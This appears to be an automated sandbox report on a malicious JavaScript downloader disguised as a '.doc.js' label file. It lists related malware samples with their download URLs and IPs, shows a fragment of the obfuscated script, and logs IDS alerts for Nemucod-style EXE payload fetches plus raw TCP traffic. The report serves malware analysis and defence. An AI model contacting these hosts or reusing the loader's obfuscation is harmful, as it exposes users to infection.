	SWIFT 103 202414111523339800 111124.pdf.vbs	Get hash	malicious	Remcos	Browse	paste.ee/d/YU1NN
	TT copy.exe	Get hash	malicious	FormBook	Browse	www.lnnn.fun/u5w9/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/iiEh1iM3/download
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	paste.ee/d/dc8Ru

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	e-dekont_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	globe_product_order_korea_buy_20_11_2024_000000000000000000.vbs	Get hash	malicious	GuLoader, Remcos	Browse	104.21.91.199
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	vessel details_pdf.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	MV BUSAN STAR - calling to discharge about 55,000Mt of aggregates.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	https://cdn-defac21.artcollective-snapclick.com/api/reg/update.json	Get hash	malicious	Unknown	Browse	104.21.78.162
	file.exe	Get hash	malicious	LummaC	Browse	104.21.85.146
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
SUPERHOST-PL-ASPL	SecuriteInfo.com.Win32.Malware-gen.3447.20408.exe	Get hash	malicious	Unknown	Browse	195.78.67.14
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	195.78.66.65
	are_steering_wheel_knobs_legal_on_commercial_vehicles(70726).js	Get hash	malicious	GookitLoader	Browse	195.78.66.236
	https://w-vipps.pl/	Get hash	malicious	Unknown	Browse	193.218.154.51
	https://slvtbjxtgh.cfolks.pl/cgi-bin/FedEx/index/ccinfo.php	Get hash	malicious	Unknown	Browse	195.78.67.57
	SecuriteInfo.com.TScope.Trojan.Delf.21325.10001.exe	Get hash	malicious	Unknown	Browse	195.78.67.14
	SecuriteInfo.com.Win32.Application.Nalib.F2PJNV.12996.27702.exe	Get hash	malicious	Unknown	Browse	195.78.67.14
	https://trbsbmiqha.cfolks.pl/unnamed.png	Get hash	malicious	Unknown	Browse	193.218.154.51
	orders.exe	Get hash	malicious	AgentTesla	Browse	195.78.66.156
	SecuriteInfo.com.TScope.Trojan.Delf.10499.13705.exe	Get hash	malicious	Unknown	Browse	195.78.67.14

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\counter[2].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\counter[1].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.463803801300065
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZl9+XqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSO6XlI5LP8IpfGu
MD5:	6BD975C7A631782B91CD60DAC3D3F8AE
SHA1:	866A78078A6AFE727AD818B3A7F43EFE44904BC5
SHA-256:	E5DAB3F202CB08F3AE0E2E9A274D2BE19E42833F0B03B3D117FC5B59BDA9901F
SHA-512:	4CCE48787E2D4DF735B80D48BD3301A7DFB55D8D8420C651449D5867D068B66B44039784ADF05564C2954D40B814BEECBFA1AEFC3EB1559F6080C04AE0C77C5F
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Mov Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\counter[2].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.420478105485729
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBX5MSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMbMSU6XlI5LP8IpfGu
MD5:	D96CB4F80255D637FEEB72EC6C029AAB
SHA1:	61648E1BB65C70C41968E1D628928C8AFE415DBB
SHA-256:	9472EBB62F9006176AC21F0226FD9D61243BE395FF981F81918A4ED0558E8CEB
SHA-512:	18EAC10A3D69A9DBC873CD85EBC3E0CCE8532994CA1BD388EFE278A5B1D84C147B6A529FF9ABFB4A1D130B9C39B086E720FC4111184AFCD5FACA670C1303ACAB
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<centernter><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\counter[3].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.41522118410966
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqoMbSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIrSU6XlI5LP8IpfGu
MD5:	814AC1F74E5EBA162A03C34AA82BE94A
SHA1:	0B1006932D50D222784DB3DE0D33240BDA3A8F13
SHA-256:	1C6F0BA1856C0894DB94BEF3965A1F194C4759B7214113874ABDD918DC5E0F2A
SHA-512:	3B13FB91EA4AAB73C65938A8924342D258F0789F69490C4A32881E927C17049C2D2AE38879318C2627BBEBB96C9D10B95BF2D3B37D4AF6D1778549A82E5D96E3
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><er><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\counter[1].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.427524390465261
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWzZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWVU6XlI5LP8IpfGu
MD5:	775769EB77C633D4DD276F4FD8826CD1
SHA1:	072A5FC07A7EA6B106807E17BC94F4BE03BE36B6
SHA-256:	FCEA4166B9B505DE11A7F72D3ED0E3A3360BADC984A4A33B27FD0E8993E11B8F
SHA-512:	F774EF2317C5CF6FCBB7A2CCB240ECB5BDB17F4F60FA173D42E21E983430021D1A12EA760670BA34A86E815B28A224DEF1E90CC0EC2DC8936F366363156FF103
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\counter[2].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	166
Entropy (8bit):	4.423058830380115
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXt1ALWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMv1IWSU6XlI5LP8IpfGu
MD5:	142C3D25B28395B6E5B71A329DE4CE75
SHA1:	F198E9AA1DAEDF71DAD3E3B9FFE6E39883F2E04C
SHA-256:	6E2ED0C32099B6D2EB00A368FE9655003814640960A0ABDCD36A2A130610E901
SHA-512:	09B4F1B89E54E476A5AB655F73D74BEEBCD82FD402CC63EDA1C2ECE35973258F4D650771D1AB31B8FD40F9A96EFA6B0EE266791E0EFB91F310D5526B1B383F6B
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<cen<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\counter[1].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\counter[2].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\counter[3].htm

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	HTML document, ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	795
Entropy (8bit):	5.215720572741232
Encrypted:	false
SSDEEP:	24:hYYIzDI8JRA3ZsjNQCRtgoLY95MI5634Vsk:rqPj2CZLY5Mm63E
MD5:	5D8D79C3CB9AF023240B1BE6F5057AAA
SHA1:	DF22980677B134E83D878893F7C7984E0D78A240
SHA-256:	E8B101A7C7F64AAD528CC734513CBEB02243C0AF37930DC0F3239749CFF184B6
SHA-512:	66F432B622CEE0BCC06CBC0F833DE1471EA36C295B4CD93EB848D97E69C2252ACD2FC8972DB51EA35475A424F4D6CB5001325525FB04F71B8704EB24DE1C4008
Malicious:	false
Preview:	<!DOCTYPE html>.<html style="height:100%">.<head>.<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />.<title> 301 Moved Permanently..</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head>.<body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;">.<div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">. <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1>.<h2 style="margin-top:20px;font-size: 30px;">Moved Permanently..</h2>.<p>The document has been permanently moved.</p>.</div></div></body></html>.

Static File Info

General

File type:	ASCII text, with very long lines (52894), with no line terminators
Entropy (8bit):	4.101239250744864
TrID:
File name:	Label_00000852555.doc.js
File size:	52'894 bytes
MD5:	0f2788de8df6b930440d2020910e2d23
SHA1:	44a9b3960c3ef00cab301748f333400fc5f7831b
SHA256:	1c0afb1107a22454bd57585f6c504400a6aa8af3c18f97b6a86dc09455eac8b2
SHA512:	32b6f2ca0e3ea610d3465195e142e3adeae252014b33f6125399e71317f530631c8dbff08a168cfaf85802e34bfba9612743f7dadd73597148a088cab8ad7749
SSDEEP:	768:NcTwQ3ldjY8iEjfmKK5U1jL/rmauAYKthBEiEh1OsEvP:NcTwQ3lNYB6K5UJ/6YXBEiw1OsEvP
TLSH:	353363FE36375BB0668A5F457730CBC558391A772223F0AADC0CD7D142E3A2D8698876
File Content Preview:	var l99 = new Array();l33 = 71; l33 += 526; l99[l33] = 'te'; l33 -= 526;l33 = -1459; l33 += 1481; l99[l33] = 'fromC'; l33 -= 1481;l33 = -3774; l33 += 3919; l99[l33] = '=1;n'; l33 -= 3919;l33 = -8437; l33 += 8871; l99[l33] = ' se'; l33 -= 8871;l33 = -280;

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T08:01:41.245310+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:41.245310+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:42.238302+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:42.238302+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:43.427956+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:43.427956+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:43.832750+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:43.832750+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:44.175573+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:44.175573+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:44.900915+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:45.146863+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:45.146863+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:45.493966+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:45.493966+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:46.234275+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:46.496386+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:46.496386+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:46.839710+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:46.839710+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:47.604140+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49708	94.152.13.52	80	TCP
2024-11-20T08:01:47.846621+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:47.846621+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49704	195.78.67.14	80	TCP
2024-11-20T08:01:48.245149+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:48.245149+0100	2024035	ET MALWARE WS/JS Downloader Mar 07 2017 M1	1	192.168.2.5	49706	188.114.97.3	80	TCP
2024-11-20T08:01:49.180060+0100	2022692	ET MALWARE JS/Nemucod requesting EXE payload 2016-03-31	1	192.168.2.5	49708	94.152.13.52	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:01:40.522854090 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:40.527761936 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:40.527834892 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:40.528179884 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:40.533011913 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:41.245202065 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:41.245310068 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:41.255239964 CET	49705	443	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:41.255289078 CET	443	49705	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:41.255825043 CET	49705	443	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:41.268215895 CET	49705	443	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:41.268285036 CET	443	49705	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:41.269299030 CET	49705	443	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:41.301543951 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:41.306473017 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:41.306672096 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:41.306817055 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:41.311652899 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:42.238173962 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:42.238301992 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:42.265772104 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:42.270714045 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:42.270828009 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:42.270936966 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:42.275760889 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.427849054 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.427867889 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.427879095 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.427956104 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:43.427973986 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.427994967 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.428005934 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.428006887 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:43.428016901 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.428037882 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.428049088 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.428050995 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:43.428062916 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.428092003 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:43.428112984 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:43.433089018 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.433103085 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.433114052 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:43.433197021 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:43.609337091 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:43.614579916 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:43.832540035 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:43.832750082 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:43.845752954 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:43.850848913 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:44.175378084 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:44.175573111 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:44.186197042 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.191150904 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.900737047 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.900798082 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.900839090 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.900902987 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.900914907 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.900948048 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.900943041 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.900999069 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901000023 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.901029110 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901196003 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901283026 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.901314020 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.901338100 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901374102 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901479006 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.901513100 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.901539087 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901547909 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.901562929 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901585102 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.901607990 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.901647091 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.902079105 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.902117968 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:44.902139902 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.902165890 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:44.923015118 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:44.928251982 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:45.146717072 CET	80	49704	195.78.67.14	192.168.2.5
Nov 20, 2024 08:01:45.146862984 CET	49704	80	192.168.2.5	195.78.67.14
Nov 20, 2024 08:01:45.161155939 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:45.166234970 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:45.493877888 CET	80	49706	188.114.97.3	192.168.2.5
Nov 20, 2024 08:01:45.493966103 CET	49706	80	192.168.2.5	188.114.97.3
Nov 20, 2024 08:01:45.504812956 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:45.509797096 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234114885 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234169960 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234213114 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234247923 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234275103 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.234283924 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234316111 CET	49708	80	192.168.2.5	94.152.13.52
Nov 20, 2024 08:01:46.234317064 CET	80	49708	94.152.13.52	192.168.2.5
Nov 20, 2024 08:01:46.234337091 CET	49708	80	192.168.2.5	94.152.13.52
